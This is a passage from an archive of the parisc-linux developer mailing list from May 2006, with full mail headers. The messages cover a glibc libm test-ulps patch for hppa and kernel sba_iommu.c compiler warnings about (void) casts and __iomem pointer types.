    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: some starting . of glibc test math filaures ;-)
Date: Wed, 10 May 2006 09:44:59 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <IZ1HIZ$4144AA8344DB0FD4D72CB04BB67F306E@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624084 19564 80.91.229.3 (22 Nov 2014 02:41:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:24 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "carlos" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 May 2006 07:45:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 10 May 2006 09:45:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45A897D661;
	Wed, 10 May 2006 01:45:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23649-06; Wed, 10 May 2006 01:45:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A21487D662;
	Wed, 10 May 2006 01:45:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EEE87D660
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 01:45:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23538-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 01:45:13 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0B1117D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 01:45:12 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id k4A7ixW06203; 
	Wed, 10 May 2006 09:44:59 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IKJUcNFHRkkei6uPfGRq2zZmdWkvKJMf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23670

> On 5/9/06, Joel Soete <soete.joel@tiscali.be> wrote:
> > > > If somebody still remember why, that could help me a bit.
> > >
> > > Probably the maxulps data on hppa is out of date. We've fixed one o=
r two
> > > cases from time to time, but there are probably other problems.
> > >
> > > Pls send a patch to fix this case.
> > >
> > Obvioulsy ;-)
> >
> 
> Where is your ChangeLog?!  ;-)
> 
> I'm the hppa libc-ports maintainer. If you send me a well formed
> ChangeLog and patch I can do the checkin.
> 
Appologies, I am not in use to manage project ;</ but I fully agree that
changelogs and comments are even (if not more) important then code.

I just hope that the following will be convinen to you (I let you as
maintainer ;-)):
--- glibc-ports/ChangeLog.hppa.Orig     2006-05-10 09:25:43.000000000 +02=
00
+++ glibc-ports/ChangeLog.hppa  2006-05-10 09:32:14.000000000 +0200
@@ -1,3 +1,7 @@
+2006-05-10  Carlos O'Donell  <carlos@systemhalted.org>
+
+       * sysdeps/hppa/fpu/libm-test-ulps: remove outdated lround maxulps=
.
+
 2006-04-27  Carlos O'Donell  <carlos@systemhalted.org>
 
        * sysdeps/unix/sysv/linux/hppa/bits/fcntl.h: Include uio.h, and
--- glibc-ports/sysdeps/hppa/fpu/libm-test-ulps.Orig    2006-05-10 
9:25:15.000000000 +0200
+++ glibc-ports/sysdeps/hppa/fpu/libm-test-ulps 2006-05-10 09:26:56.00000=
0000
+0200
@@ -479,11 +479,6 @@
 float: 1
 ifloat: 1
 
-# lround
-Test "lround (1071930.0008) =3D=3D 1071930":
-double: -214511494
-idouble: -214511494

From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Just a question about a sba_iommu.c warning with
	gcc 64bit (but not 32bit)?
Date: Wed, 10 May 2006 16:13:14 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20060510201314.GL32414@skunkworks.cabal.ca>
References: <IZ1TQF$AB963885A7ABF163B254A190F47F10B6@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624084 19568 80.91.229.3 (22 Nov 2014 02:41:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:24 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 May 2006 20:20:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 10 May 2006 22:20:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BEA57D684;
	Wed, 10 May 2006 14:20:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29699-02; Wed, 10 May 2006 14:20:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CEDA7D672;
	Wed, 10 May 2006 14:20:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C4867D661
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 14:20:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29297-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 14:20:09 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 980757D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 14:20:09 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3613D5840D0;
	Wed, 10 May 2006 16:20:09 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id BA5435840CB;
	Wed, 10 May 2006 16:20:08 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 4FC0123E83;
	Wed, 10 May 2006 16:20:08 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22432-09; Wed, 10 May 2006 16:20:08 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id 1368723E82;
	Wed, 10 May 2006 16:20:08 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id A61182FED8; Wed, 10 May 2006 16:13:14 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <IZ1TQF$AB963885A7ABF163B254A190F47F10B6@scarlet.be>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OXxQdel0Iyd18PqQe2drIFxaa2FkZpWp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23671

On Wed, May 10, 2006 at 02:08:39PM +0200, Joel Soete wrote:
> /usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1000: warning: value
> computed is not used

lack of cast to (void)

> /usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1767: warning:
> initialization makes integer from pointer without a cast

ioc_hpa should be void __iomem *

> /usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1782: warning:
> passing argument 1 of '__raw_readq' makes pointer from integ
> er without a cast
> /usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1784: warning:
> passing argument 2 of '__raw_writeq' makes pointer from inte
> ger without a cast

rope_cfg and cfg_val should be void __iomem *

> /usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1790: warning:
> passing argument 2 of '__raw_writeq' makes pointer from inte
> ger without a cast

ioc_hpa should be void __iomem *

> /usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1794: warning: value
> computed is not used
>

lack of cast to (void) 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: (void) cast for READ_REG
Date: Thu, 11 May 2006 11:25:17 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20060511172517.GA22074@colo.lackof.org>
References: <20060511063131.2B581494041@palinux.external.hp.com>
	<20060511081639.GH12272@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624085 19570 80.91.229.3 (22 Nov 2014 02:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 May 2006 17:25:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 11 May 2006 19:25:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 876A77D6C0;
	Thu, 11 May 2006 11:25:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05806-10; Thu, 11 May 2006 11:25:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B07397D6A6;
	Thu, 11 May 2006 11:25:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B3A57D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 May 2006 11:25:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06017-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 May 2006 11:25:10 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 827DB7D698
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 May 2006 11:25:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D40584581CE;
	Thu, 11 May 2006 11:25:18 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06054-09; Thu, 11 May 2006 11:25:17 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 461E74581CD; Thu, 11 May 2006 11:25:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060511081639.GH12272@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wDUFLmlBaHI+vqWnKSUlPvhqamdhZETp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23672

On Thu, May 11, 2006 at 02:16:39AM -0600, Matthew Wilcox wrote:
> The void casts are just bogus.  Please take them out.

"bogus" isn't the word I would use.
I agree with Kyle that we don't want that behavior for every function.
But I want the compiler to tell me when we throw away return values
we normally use.

I'll remove them since your last commit makes the casts superfluous.
And I don't recall why I opencoded READ_REG in the first place. :(

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: (void) cast for READ_REG
Date: Thu, 11 May 2006 13:26:53 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20060511172653.GA26547@skunkworks.cabal.ca>
References: <20060511063131.2B581494041@palinux.external.hp.com>
	<20060511081639.GH12272@parisc-linux.org>
	<20060511172517.GA22074@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624085 19572 80.91.229.3 (22 Nov 2014 02:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 May 2006 17:34:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 11 May 2006 19:34:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AE987D6C2;
	Thu, 11 May 2006 11:34:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06217-10; Thu, 11 May 2006 11:34:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E64617D6C3;
	Thu, 11 May 2006 11:34:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B163B7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 May 2006 11:34:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06217-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 May 2006 11:34:04 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id C25187D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 May 2006 11:34:04 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 53FD45840F5;
	Thu, 11 May 2006 13:34:02 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A78CF5840FC;
	Thu, 11 May 2006 13:34:01 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 0A19423E83;
	Thu, 11 May 2006 13:34:01 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00857-10; Thu, 11 May 2006 13:33:59 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id 0BAC023E82;
	Thu, 11 May 2006 13:33:59 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id 9D2B72FED8; Thu, 11 May 2006 13:26:53 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060511172517.GA22074@colo.lackof.org>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r0dacTt6eWU7sreUfHVzyu85U3U4Nw+B
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23673

On Thu, May 11, 2006 at 11:25:17AM -0600, Grant Grundler wrote:
> "bogus" isn't the word I would use.
> I agree with Kyle that we don't want that behavior for every function.
> But I want the compiler to tell me when we throw away return values
> we normally use.
> 
> I'll remove them since your last commit makes the casts superfluous.
> And I don't recall why I opencoded READ_REG in the first place. :(
>

I think the reason we were seeing the warnings, and weren't with, for
example, printk(), is that le{32,64}_to_cpu is a macro and not a function.

And so we were actually discarding an assignment (statement with no
effect in general...) rather than just discarding a return value.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sat, 13 May 2006 17:41:53 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624085 19574 80.91.229.3 (22 Nov 2014 02:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 15:42:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 13 May 2006 17:42:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7CC37D6D9;
	Sat, 13 May 2006 09:42:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27496-07; Sat, 13 May 2006 09:42:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 350527D6DC;
	Sat, 13 May 2006 09:41:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 477B37D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 09:41:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27496-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 09:41:54 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.207])
	by free.linux.hp.com (Postfix) with ESMTP id 55AE27D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 09:41:54 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 8so612352nzo
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 08:41:53 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=JoOkfCb3OBQL0hPsO6duAg51xIr4MpsGbWxkada1cD8f5LpKWp0xTiguDnRC3+IfOQTXHomab2P91a3ElrDlUDq0sa2ZyMru11zvXhjCqdyTrDZllTr8ctCM4z1alb5LNb+HvPI9Xi2CPOj+1XNfWHZvfdqPN+yQmS1pDWK+o+w=
Original-Received: by 10.36.196.8 with SMTP id t8mr3944640nzf;
	Sat, 13 May 2006 08:41:53 -0700 (PDT)
Original-Received: by 10.36.247.36 with HTTP; Sat, 13 May 2006 08:41:53 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: cb86ff7ccbad9f35
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
